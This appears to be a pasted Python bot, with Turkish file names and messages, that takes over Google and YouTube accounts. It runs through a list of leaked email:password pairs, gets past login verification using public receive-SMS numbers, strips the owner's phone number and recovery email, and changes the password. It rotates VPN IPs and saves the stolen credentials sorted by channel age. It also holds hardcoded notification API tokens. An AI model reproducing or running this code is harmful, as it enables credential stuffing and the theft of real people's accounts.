· 11 years ago · Jun 23, 2015, 09:55 PM
1import pyautogui, pyperclip, names
2
3from selenium import webdriver
4from selenium.webdriver.support.ui import WebDriverWait
5
6from random import randint
7from twilio.rest import TwilioRestClient
8from pushover import init, Client
9
10import time, random, string, os, sys
11import vyprvpn
12
13with open("info\\server.txt") as f:
14 server = f.readlines()
15
16ip = server[0].rstrip("\n")
17ACCOUNT_SID = server[1].rstrip("\n")
18AUTH_TOKEN = server[2].rstrip("\n")
19defaultEmail = server[3].rstrip("\n")
20defaulPassword = server[4].rstrip("\n")
21
22init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
23
24#########################################################
25################## CLICK FUNCTIONS ######################
26#########################################################
27
28def sc(x, y):
29 pyautogui.moveTo(x, y, 0.2)
30 pyautogui.click()
31
32def dc(x, y):
33 pyautogui.moveTo(x, y, 0.2)
34 pyautogui.doubleClick()
35
36def paste():
37 return pyperclip.paste()
38def push(title, message):
39 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
40
41#########################################################
42#################### WEB FUNCTIONS ######################
43#########################################################
44
45def goTo(website):
46 pyautogui.hotkey('alt', 'd')
47 pyautogui.typewrite(website, interval=0.01)
48 pyautogui.press('enter')
49
50def goToGmail():
51 goTo("mail.google.com/mail/u/0/h/")
52 time.sleep(4)
53
54def goToEditSecond():
55 pyautogui.press('enter')
56 time.sleep(3.5)
57 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
58 time.sleep(5)
59 pyautogui.press('enter')
60
61def deletePhone():
62 time.sleep(3.5)
63 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
64 time.sleep(7)
65 text = getBody()
66 if not 'is used to reach' in text:
67 sc(1265, 388)
68 time.sleep(3)
69 sc(974, 763)
70 time.sleep(3)
71 sc(974, 715)
72 time.sleep(3)
73
74def goToChaneMyPass():
75 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
76 time.sleep(3)
77
78def goToMyAccount():
79 goTo('myaccount.google.com/?hl=en')
80 pyautogui.press('enter')
81 time.sleep(3)
82
83def getUrl():
84 pyautogui.hotkey('ctrl', 'l')
85 pyautogui.hotkey('ctrl', 'c')
86 text = paste()
87 try:
88 text = str(text)
89 except:
90 getUrl()
91 return text
92
93def getBody():
94 sc(69, 801)
95 pyautogui.hotkey('ctrl', 'a')
96 pyautogui.hotkey('ctrl', 'c')
97 text = paste()
98 try:
99 text = str(text)
100 except:
101 getBody()
102 return text
103
104def getBodyYt():
105 sc(113, 957)
106 time.sleep(1)
107 pyautogui.hotkey('ctrl', 'a')
108 pyautogui.hotkey('ctrl', 'c')
109 text = paste()
110 try:
111 text = str(text)
112 except:
113 getBody()
114 return text
115
116
117
118#########################################################
119################### GOOGLE FUNCTIONS ####################
120#########################################################
121
122def goGoogle():
123 pyautogui.hotkey('ctrl', 'l')
124 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
125 pyautogui.press('enter')
126 time.sleep(3)
127
128def loginGoogle(email, password):
129 goGoogle()
130 pyautogui.hotkey('ctrl', 'a')
131 pyautogui.press('delete')
132 pyautogui.typewrite(email)
133 pyautogui.press('enter')
134 time.sleep(2.5)
135 pyautogui.typewrite(password)
136 pyautogui.press('enter')
137
138def setNewPass():
139 os.startfile("helpers\\savenewpass.exe")
140 time.sleep(7)
141
142
143def manuel(expassword, password):
144 goToEditSecond()
145 time.sleep(2)
146 pyautogui.moveTo(1616, 406, 1)
147 button7location = pyautogui.locateOnScreen('pics\\redarrow.png')
148 if(button7location != None):
149 buttonx, buttony = pyautogui.center(button7location)
150 pyautogui.click(buttonx, buttony)
151
152 text = getBody()
153 goToEditSecondEmail(text)
154
155 text = text.replace("\n", " ")
156 texts = text.split(" ")
157
158 gmail = ""
159 for t in texts:
160 if("@gmail" in t):
161 gmail = t.replace("\n", "").replace("\t", "")
162 break
163
164
165 deletePhone()
166 time.sleep(3)
167 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
168 time.sleep(4)
169 link = getUrl()
170
171 if("ServiceLogin" in link):
172 sc(865, 446)
173 pyautogui.typewrite(expassword)
174 time.sleep(2)
175 sc(979,502)
176 time.sleep(4)
177
178 sc(906, 313)
179 pyautogui.hotkey('ctrl', 'a')
180 pyautogui.typewrite(defaultEmail)
181
182 sc(1247, 356)
183 sc(1247, 356)
184
185 time.sleep(2)
186 goToChaneMyPass()
187
188 sc(860, 447)
189 sc(860, 447)
190 pyautogui.typewrite(expassword)
191 pyautogui.press('enter')
192 time.sleep(5)
193 pyautogui.typewrite(password)
194 pyautogui.press('tab')
195 pyautogui.press('tab')
196 pyautogui.press('tab')
197 time.sleep(1)
198 pyautogui.typewrite(password)
199 pyautogui.press('tab')
200 pyautogui.press('tab')
201 time.sleep(1)
202 pyautogui.press('enter')
203
204 return str(gmail) + ":" + password
205
206def goToEditSecondEmail(text):
207 pyautogui.press('enter')
208 if "First name" in text:
209 dc(627, 247)
210 pyautogui.hotkey('ctrl', 'a')
211 pyautogui.typewrite(randName)
212 pyautogui.press('tab')
213 pyautogui.typewrite(randSname)
214 os.startfile("helpers\\secondname.exe")
215 time.sleep(10)
216 else:
217 os.startfile("helpers\\secondnoname.exe")
218 time.sleep(5)
219
220def whereIsGmail(fakeName):
221
222 pyautogui.moveTo(550,560)
223 button7location = pyautogui.locateOnScreen('pics\\redarrow.png')
224 if(button7location != None):
225 buttonx, buttony = pyautogui.center(button7location)
226 pyautogui.click(buttonx, buttony)
227 else:
228 pyautogui.moveTo(1899,83, 2)
229 sc(1899,83)
230
231 dc(1132, 255)
232 pyautogui.typewrite(fakeName, interval=0.10)
233 time.sleep(1)
234 sc(1112, 326)
235 time.sleep(2)
236 dc(1135, 285)
237 pyautogui.hotkey('ctrl', 'c')
238 text = paste()
239 try:
240 text = str(text)
241 except:
242 text = ""
243
244 if("Someone" in text or "Please" in text):
245 return 2
246 elif ("Your" in text):
247 return 3
248 return 1
249
250
251def registerGmail(fakeName, fakeSurname, flag):
252
253 if(flag == 1):
254 pyautogui.doubleClick(1131, 255)
255 pyautogui.typewrite(fakeName, interval=0.10)
256 time.sleep(0.3)
257 pyautogui.press('tab')
258 pyautogui.typewrite(fakeSurname, interval=0.10)
259 time.sleep(0.3)
260 email = fakeName + fakeSurname + str(randint(3000,9999))
261 email = email.lower()
262 pyautogui.press('tab')
263 pyautogui.typewrite("johnmiller", interval=0.10)
264 time.sleep(0.3)
265 pyautogui.press('tab')
266 pyautogui.press('tab')
267 pyautogui.press('delete')
268 pyautogui.press('tab')
269 time.sleep(0.3)
270 pyautogui.press('delete')
271 pyautogui.typewrite(defaultEmail, interval=0.10)
272 pyautogui.press('enter')
273 time.sleep(2)
274 pyautogui.click(1211,378)
275 time.sleep(1)
276 pyautogui.moveTo(1154,326)
277 pyautogui.doubleClick()
278 time.sleep(2)
279 pyautogui.hotkey('ctrl', 'c')
280 gmail = paste()
281 jc = 0
282
283 while "johnmiller" == gmail and jc < 3:
284 pyautogui.click(1211,380)
285 pyautogui.moveTo(1154,326)
286 pyautogui.doubleClick()
287 pyautogui.hotkey('ctrl', 'c')
288 gmail = paste()
289 jc += 1
290
291 pyautogui.press('enter')
292 return str(gmail) + "@gmail.com"
293
294 elif(flag == 0):
295 dc(1161,251)
296 pyautogui.click()
297 time.sleep(1)
298 pyautogui.typewrite("johnmiller", interval=0.45)
299 time.sleep(2)
300 sc(1231,382)
301 time.sleep(1)
302 sc(1236,308)
303 time.sleep(1)
304 pyautogui.moveTo(1161,251)
305 pyautogui.doubleClick()
306 pyautogui.hotkey('ctrl', 'c')
307 gmail = paste()
308 time.sleep(1)
309 pyautogui.press('tab')
310 time.sleep(1)
311 pyautogui.press('tab')
312 time.sleep(1)
313 pyautogui.press('delete')
314 pyautogui.press('tab')
315 time.sleep(1)
316 pyautogui.press('delete')
317 pyautogui.typewrite(defaultEmail, interval=0.30)
318 time.sleep(1)
319 pyautogui.press('enter')
320 return str(gmail) + "@gmail.com"
321 else:
322 dc(1148, 255)
323 pyautogui.hotkey('ctrl', 'c')
324 gmail = paste()
325 sc(1193, 349)
326 pyautogui.hotkey('ctrl', 'a')
327 pyautogui.press('delete')
328 pyautogui.press('tab')
329 time.sleep(1)
330 pyautogui.press('delete')
331 pyautogui.typewrite(defaultEmail, interval=0.30)
332 time.sleep(1)
333 pyautogui.press('enter')
334 return str(gmail) + "@gmail.com"
335
336def changeAccountInfo(expassword, password, text):
337 goToEditSecondEmail(text)
338
339 t0 = time.clock()
340 url = getUrl()
341
342 while("EditUserInfo" in url):
343 if(time.clock() - t0 > 20):
344 return
345 text = getBody()
346 goToEditSecondEmail(text)
347 url = getUrl()
348
349 time.sleep(3)
350
351 deletePhone()
352 goToChaneMyPass()
353
354 time.sleep(4)
355 pyautogui.typewrite(expassword)
356 pyautogui.press('enter')
357 time.sleep(5)
358 pyautogui.typewrite(password)
359 pyautogui.press('tab')
360 pyautogui.press('tab')
361 pyautogui.press('tab')
362 time.sleep(1)
363 pyautogui.typewrite(password)
364 pyautogui.press('tab')
365 pyautogui.press('tab')
366 time.sleep(1)
367 pyautogui.press('enter')
368 return password
369
370#########################################################
371################### PHONE FUNCTIONS #####################
372#########################################################
373
374def enterPhone(phone):
375 pyautogui.typewrite(phone, interval=0.10)
376 pyautogui.press('enter')
377
378def openPhone(phone):
379 time.sleep(3)
380 c = open("code.txt", "w")
381 c.write(phone)
382 c.close()
383 os.system("C:\Python27\python.exe openPhone.py")
384 time.sleep(5)
385 with open("code.txt") as f:
386 code = f.readlines()
387 code = code[0].rstrip("\n")
388 return code
389
390def enterCode(code):
391
392 sc(742,382)
393 pyautogui.typewrite(code, interval=0.10)
394 pyautogui.press('enter')
395#########################################################
396################## YOUTUBE FUNCTIONS ####################
397#########################################################
398
399
400def setYoutubeDriver():
401 #changeProxy()
402 global driver
403 driver = webdriver.Firefox()
404 driver.maximize_window()
405 return driver
406
407
408def loginYoutube(email, password):
409 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
410 time.sleep(8)
411 sc(864, 488)
412 pyautogui.typewrite(email)
413 pyautogui.press('enter')
414 time.sleep(3)
415 pyautogui.typewrite(password)
416 pyautogui.press('enter')
417 time.sleep(8)
418
419def isPicassa():
420 cbutton = pyautogui.locateOnScreen('pics\\continue.png')
421 okbutton = pyautogui.locateOnScreen('pics\\ok.png')
422
423 if(cbutton != None and okbutton == None):
424 return 0
425 elif(cbutton == None and okbutton != None):
426 return 1
427 else:
428 return 2
429
430def regYoutube():
431 time.sleep(12)
432
433 sc(1200, 645)
434 text = None
435 while text == None:
436 pyautogui.hotkey('ctrl', 'a')
437 pyautogui.hotkey('ctrl', 'c')
438 text = paste()
439 if "Picasa" in text:
440 os.startfile("helpers\\picasa.exe")
441 time.sleep(15)
442 return
443
444 flag = isPicassa()
445 if (flag == 1):
446 time.sleep(2)
447 sc(1175, 690)
448 return
449
450 elif(flag == 0):
451 os.startfile("helpers\\flag0.exe")
452 time.sleep(15)
453 return
454
455 if(flag == 2):
456 sc(651, 704)
457 sc(666, 556)
458 sc(666, 556)
459 time.sleep(1)
460 pyautogui.moveTo(958, 792, 2)
461 pyautogui.click(958, 792)
462
463
464def addToYoutube(info):
465 try:
466 sorunlu = open("tekrardenenecekyoutube.txt", "a")
467 sorunlu.write(info + "\n")
468 sorunlu.close()
469 except:
470 print("Dosya acilamadi")
471
472def addToTekrar(info):
473 try:
474 sorunlu = open("tekrar.txt", "a")
475 sorunlu.write(info + "\n")
476 sorunlu.close()
477 except:
478 print("Dosya acilamadi")
479
480def fbxpath(xpath):
481 try:
482 return WebDriverWait(driver, 20).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
483 except:
484 return False
485
486def put(xpath, toSend):
487 to = WebDriverWait(driver, 600).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
488 time.sleep(1)
489 for alpha in toSend:
490 to.send_keys(alpha)
491
492def isShowed(xpath):
493 try:
494 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
495 return True
496 except:
497 return False
498def createYoutube(email, password):
499 driver.get("https://www.youtube.com/my_videos?o=U")
500 time.sleep(8)
501 text = getBody()
502 if("Help us keep your account secure" in text
503 or "Cookies help" in text):
504 driver.get("https://www.youtube.com/my_videos?o=U")
505 time.sleep(5)
506 text = getBody()
507
508 if "oops" in driver.current_url:
509 time.sleep(2)
510 driver.get("https://www.youtube.com/my_videos?o=U")
511
512 if "Use YouTube as..." in text:
513 sc(866 ,526)
514 driver.get("https://www.youtube.com/my_videos?o=U")
515 time.sleep(10)
516 text = getBody()
517
518 if "Create a channel" in text:
519 flag = 0
520 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
521 regYoutube()
522
523 elif "YouTube channel has content but has been disabled" in text:
524 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
525 time.sleep(3)
526 regYoutube()
527 else:
528 flag = 1
529
530 driver.get("https://www.youtube.com/analytics?o=U")
531 t0 = time.clock()
532
533 while "my_videos" in driver.current_url:
534 if time.clock() - t0 > 25:
535 addToYoutube(email +":" + password)
536 return False
537 time.sleep(2)
538 sc(1875, 91)
539 time.sleep(1)
540 sc(1853, 280)
541 time.sleep(3)
542 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
543 time.sleep(5)
544 pyautogui.typewrite(password)
545 sc(990, 580)
546 time.sleep(2)
547 url = driver.current_url
548 while("ServiceLogin" in url):
549 pyautogui.typewrite(password)
550 sc(990, 580)
551 time.sleep(2)
552 url = driver.current_url
553 driver.get("https://www.youtube.com/my_videos?o=U")
554 try:
555 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
556 except:
557 driver.get("https://www.youtube.com/dashboard?o=U")
558 break
559 time.sleep(4)
560 sc(1170, 690)
561 driver.get("https://www.youtube.com/analytics?o=U")
562
563 time.sleep(10)
564
565 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
566 driver.get("https://www.youtube.com/dashboard?o=U")
567 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
568 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
569 if len(views) > 7:
570 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
571 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
572 time.sleep(2)
573 channelUrl = driver.current_url
574
575 if("2005" in date):
576 dateFile = 2005
577 elif("2006" in date):
578 dateFile = 2006
579 elif("2007" in date):
580 dateFile = 2007
581 elif("2008" in date):
582 dateFile = 2008
583 elif("2009" in date):
584 dateFile = 2009
585 elif("2010" in date):
586 dateFile = 2010
587 elif("2011" in date):
588 dateFile = 2011
589 elif("2012" in date):
590 dateFile = 2012
591 elif("2013" in date):
592 dateFile = 2013
593 elif("2014" in date):
594 dateFile = 2014
595 elif("2015" in date):
596 dateFile = 2015
597 else:
598 dateFile = "kontroledilecek"
599 print(str(date))
600 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
601
602
603def saveYoutube(email, password, url, dateFile, date, subscriber, views):
604 try:
605 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views)
606 hesaplar = open("save\\"+ str(dateFile) + ".txt", "a")
607 hesaplar.write(info + "\n")
608 hesaplar.close()
609 except:
610 print("Dosya acilamadi.")
611
612#########################################################
613#################### SAVE FUNCTIONS #####################
614#########################################################
615
616def addToHesaplar(info):
617 try:
618 hesaplar = open("gmailecevrilecekler.txt", "a")
619 hesaplar.write(info[0] + ":" + info[1])
620 hesaplar.close()
621 except:
622 print("Dosya acilamadi.")
623
624def addToGmail(info):
625 try:
626 hesaplar = open("save\\gmail.txt", "a")
627 hesaplar.write(info + "\n")
628 hesaplar.close()
629 except:
630 print("Dosya acilamadi.")
631
632def addToCop(info):
633 try:
634 cop = open("cop.txt", "a")
635 cop.write(info[0] + ":" + info[1])
636 cop.close()
637 except:
638 print("Dosya acilamadi.")
639
640def addToOzel(info):
641 try:
642 ozel = open("source\\ozel.txt", "a")
643 ozel.write(info[0] + ":" + info[1])
644 ozel.close()
645 except:
646 print("Dosya acilamadi.")
647
648def addToTekrar(info):
649 try:
650 ozel = open("source\\tekrar.txt", "a")
651 ozel.write(info[0] + ":" + info[1])
652 ozel.close()
653 except:
654 print("Dosya acilamadi.")
655def addToTekrarYT(info):
656 try:
657 ozel = open("save\\tekraryt.txt", "a")
658 ozel.write(info)
659 ozel.close()
660 except:
661 print("Dosya acilamadi.")
662
663def addToCaptcha(info):
664 try:
665 ozel = open("source\\captcha.txt", "a")
666 ozel.write(info[0] + ":" + info[1])
667 ozel.close()
668 except:
669 print("Dosya acilamadi.")
670
671def addToYoutube(info):
672 try:
673 sorunlu = open("save\\tekrardenenecekyoutube.txt", "a")
674 sorunlu.write(info + "\n")
675 sorunlu.close()
676 except:
677 print( "Dosya acilamadi")
678
679def updateList(i):
680 try:
681 with open('source\\ayiklanacak.txt', 'w') as fout:
682 fout.writelines(content[i+1:])
683 except:
684 print("Dosya acilamadi.")
685
686
687#########################################################
688################## DRIVER FUNCTIONS #####################
689#########################################################
690
691def createDriver():
692 global loginC
693 loginC = 0
694 os.system("TASKKILL /F /IM firefox.exe")
695 changeProxy()
696 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
697 time.sleep(7)
698
699def changeProxy():
700 try:
701 vyprvpn.Connect()
702 except:
703 changeProxy()
704 time.sleep(25)
705
706def endSession():
707 pyautogui.hotkey('alt', 'f4')
708 vyprvpn.Disconnect()
709 time.sleep(15)
710 updateList(i)
711 createDriver()
712
713def checkSuccess(failC, sucC, loginC):
714 if loginC > 30:
715 endSession()
716 if i % 50 != 0:
717 return
718 try:
719 failRate = failC / sucC
720 except:
721 failRate = failC
722
723 if failRate > 49:
724 push("Bot durduruldu!", "Hata orani cok yukseldi." + ip)
725 updateList(i)
726 sys.exit()
727
728with open('source\\ayiklanacak.txt', 'r') as f:
729 content = f.read().splitlines(True)
730
731with open("info\\telefonlar.txt") as f:
732 phones = f.readlines()
733
734######################################################
735
736failC = 0
737sucC = 0
738try:
739 k = 0
740 p = 0
741
742 createDriver()
743
744 for i in range(len(content)):
745 checkSuccess(failC, sucC, loginC)
746 try:
747 info = content[i].split(":")
748 email = info[0]
749 password = info[1].rstrip("\n")
750 if(len(password) < 6 or "@" not in email):
751 continue
752 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
753 print("Succes: " + str(sucC) + " Fail: " + str(failC))
754 chars = string.ascii_letters + string.digits
755 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
756 randName = names.get_first_name(gender='male')
757 randSname = names.get_last_name()
758 except:
759 addToOzel(content[i].split(":"))
760 time.sleep(2)
761 continue
762 try:
763 phone = phones[p].rstrip("\n")
764 except:
765 p = 0
766 phone = phones[p].rstrip("\n")
767
768 try:
769 loginGoogle(email, password)
770 loginC += 1
771 except:
772 addToCop(info)
773 continue
774
775 if "gmail" in email:
776 time.sleep(6)
777 else:
778 time.sleep(3)
779 text = getBody()
780
781 if("One account. All of Google." in text
782 or "Sorry, Google doesn't recognize" in text
783 or "Your Google Account is managed by" in text
784 or "Sorry, we can't process" in text
785 or "Google" not in text
786 or "We've detected unusual activity" in text
787 or "2-Step verification" in text
788 ):
789
790 if("Letters are" in text):
791 addToCaptcha(info)
792 endSession()
793 k = 0
794 continue
795 else:
796 addToCop(info)
797 failC += 1
798 k = 0
799 continue
800 elif ("Letters are" in text):
801 addToCaptcha(info)
802 k = 0
803 endSession()
804 continue
805 elif "Please re-enter" in text:
806 addToOzel(content[i-1].split(":"))
807 endSession()
808 elif "Firefox" in text:
809 addToCaptcha(info)
810 k = 0
811 endSession()
812 elif "Google" not in text:
813 addToCop(info)
814 failC += 1
815 k = 0
816 continue
817 else:
818 time.sleep(3)
819 url = getUrl()
820
821 url = getUrl()
822 if "VerifiedPhoneInterstitial" in url:
823 time.sleep(2)
824 sc(1113,800)
825 time.sleep(5)
826 url = getUrl()
827
828 elif not "google" in url:
829 addToCop(info)
830 failC += 1
831 continue
832
833 elif "LoginVerification" in url:
834 text = getBody()
835 if("Tell us the city" in text
836 or "Answer your secret question" in text
837 or "Enter your recovery" in text
838 or "Android" in text
839 or "Receive a verification" in text
840 or "Tell us your phone number" in text):
841 if("Enter a phone" not in text
842 or "Sorry, we can't process" in text):
843 addToCop(info)
844 failC += 1
845 continue
846
847 sc(745,427)
848 enterPhone(phone)
849 time.sleep(9)
850 text = getBody()
851 sc(758, 618)
852
853 while "already" in text :
854 p += 1
855 if(p == len(phones)):
856 p = 0
857 phone = phones[p].rstrip("\n")
858 sc(742,382)
859 pyautogui.hotkey('ctrl', 'a')
860 pyautogui.press('delete')
861 code = openPhone(phone)
862 enterCode(code)
863 time.sleep(5)
864 text = getBody()
865 sc(758, 618)
866 if "until in text":
867 continue
868
869 cC = 0
870 while cC < 3:
871 sc(742,382)
872 pyautogui.hotkey('ctrl', 'a')
873 pyautogui.press('delete')
874 code = openPhone(phone)
875 enterCode(code)
876 time.sleep(5)
877 url = getUrl()
878 if not "LoginVerification" in url:
879 break
880 else:
881 time.sleep(6)
882 cC += 1
883
884
885 elif("ChangePassword" in url):
886 setNewPass()
887 newPass = defaulPassword + "\n"
888 password = defaulPassword + "\n"
889 goToGmail()
890
891 elif("google" not in url or "ServiceLoginAuth" in url):
892 addToCop(info)
893 failC += 1
894 continue
895
896 elif("RecycledEmailInterstitial" in url
897 or "AccountRecoveryOptionsPrompt" in url
898 or "myaccount" in url):
899 time.sleep(3)
900 goToGmail()
901
902 elif("EmailNotVerified" in url):
903 time.sleep(3)
904 goToGmail()
905 time.sleep(4)
906 url = getUrl()
907 if("ServiceLogin" in url):
908 sc(882,448)
909 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
910 pyautogui.press('enter')
911 time.sleep(4)
912 url = getUrl()
913 time.sleep(3)
914
915 else:
916 print("-----RAPOR EDILMELI!!!!")
917 addToOzel(info)
918 endSession()
919 continue
920
921 time.sleep(9)
922 url = getUrl()
923 time.sleep(1)
924 sc(1899,83)
925
926 if("EmailNotVerified" in url):
927 time.sleep(3)
928 goToGmail()
929 time.sleep(5)
930 url = getUrl()
931 if("ServiceLogin" in url):
932 sc(882,448)
933 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
934 pyautogui.press('enter')
935 time.sleep(3)
936 url = getUrl()
937 time.sleep(6)
938
939 if("myaccount" in url):
940 goToGmail()
941 time.sleep(5)
942 url = getUrl()
943
944 if("ServiceLogin" in url):
945 sc(882,448)
946 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
947 pyautogui.press('enter')
948 time.sleep(3)
949 url = getUrl()
950
951 if("AccountRecoveryOptionsPrompt" in url):
952 addToTekrar(info)
953 continue
954
955 if("mail/" in url):
956 gmail = manuel(password, newPass)
957 g = gmail.split(":")
958 gmail = g[0]
959 newPass = g[1]
960
961 elif("ChangePassword" in url):
962
963 setNewPass()
964 newPass = defaulPassword + "\n"
965 password = defaulPassword + "\n"
966 time.sleep(8)
967 goToGmail()
968 time.sleep(5)
969 url = getUrl()
970 if("mail/" not in url):
971 flag = whereIsGmail(randName)
972 if(flag==1):
973 gmail = registerGmail(randName, randSname, 1)
974 goToEditSecond()
975 text = getBody()
976
977 try:
978 if(not "@gmail.com" in text):
979 addToOzel(info)
980 failC += 1
981 endSession()
982 continue
983 except:
984 pass
985
986 newPass = changeAccountInfo(password, newPass, text)
987
988 elif(flag==2):
989 gmail = registerGmail(randName, randSname, 0)
990 goToEditSecond()
991 text = getBody()
992
993 try:
994 if(not "@gmail.com" in text):
995 addToOzel(info)
996 failC += 1
997 endSession()
998 continue
999 except:
1000 pass
1001
1002 newPass = changeAccountInfo(password, newPass, text)
1003
1004 elif(flag == 3):
1005 addToCop(info)
1006 failC += 1
1007 endSession()
1008 continue
1009 else:
1010 gmail = manuel(newPass, newPass)
1011 g = gmail.split(":")
1012 gmail = g[0]
1013 newPass = g[1]
1014
1015 elif("inbox" in url):
1016 gmail = manuel(password, newPass)
1017 g = gmail.split(":")
1018 gmail = g[0]
1019 newPass = g[1]
1020
1021 elif("AddMailService" in url):
1022 pyautogui.moveTo(1899,83)
1023 time.sleep(1)
1024 sc(1899,83)
1025 time.sleep(1)
1026 flag = whereIsGmail(randName)
1027 if(flag==1):
1028 gmail = registerGmail(randName, randSname, 1)
1029 goToEditSecond()
1030 text = getBody()
1031
1032 try:
1033 if(not "@gmail.com" in text):
1034 addToOzel(info)
1035 failC += 1
1036 endSession()
1037 continue
1038 except:
1039 pass
1040
1041 newPass = changeAccountInfo(password, newPass, text)
1042
1043 elif(flag==2):
1044 gmail = registerGmail(randName, randSname, 0)
1045
1046 goToEditSecond()
1047 text = getBody()
1048
1049 try:
1050 if(not "@gmail.com" in text):
1051 addToOzel(info)
1052 failC += 1
1053 endSession()
1054 continue
1055 except:
1056 pass
1057
1058 newPass = changeAccountInfo(password, newPass, text)
1059 elif(flag == 4):
1060 addToCop(info)
1061 failC += 1
1062 endSession()
1063 continue
1064 else:
1065 addToTekrar(info)
1066 endSession()
1067 continue
1068
1069 else:
1070 url = getUrl()
1071 if("mail/" in url
1072 or "inbox" in url):
1073 gmail = manuel(password, newPass)
1074 g = gmail.split(":")
1075 gmail = g[0]
1076 newPass = g[1]
1077 else:
1078 print("-----RAPOR EDILMELI!!!!")
1079 addToOzel(info)
1080 endSession()
1081 continue
1082
1083 time.sleep(5)
1084 pyautogui.hotkey('alt', 'f4')
1085 try:
1086 driver = setYoutubeDriver()
1087 loginYoutube(str(gmail), newPass)
1088 text = getBody()
1089 if not "The email and password" in text:
1090 createYoutube(str(gmail), newPass)
1091 info = str(gmail) + ":" + newPass
1092 addToGmail(info)
1093 sucC += 1
1094 endSession()
1095 continue
1096 except:
1097 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1098 try:
1099 driver.close()
1100 except:
1101 pass
1102 info = str(gmail) + ":" + newPass
1103 addToGmail(info)
1104 sucC += 1
1105 endSession()
1106
1107 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1108
1109except Exception as e:
1110 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1111
1112--------------------------
1113
1114import requests
1115from lxml import html
1116
1117def openPhone(phone):
1118 url = 'http://www.receive-sms-online.info/read-sms.php?phone=' + phone
1119 response = requests.get(url)
1120 parsed_body = html.fromstring(response.text)
1121 i = 1
1122 while True:
1123 code = str(parsed_body.xpath('//*[@id="ads"]/table/tbody/tr['+str(i)+']/td[2]/text()'))
1124 if "Your Google" not in code:
1125 i += 1
1126 continue
1127 code = code.split(" ")[5]
1128 c = open("code.txt", "w")
1129 c.write(code)
1130 c.close()
1131
1132with open("code.txt") as f:
1133 phone = f.readlines()
1134
1135openPhone(phone[0].lstrip("+").rstrip("\n"))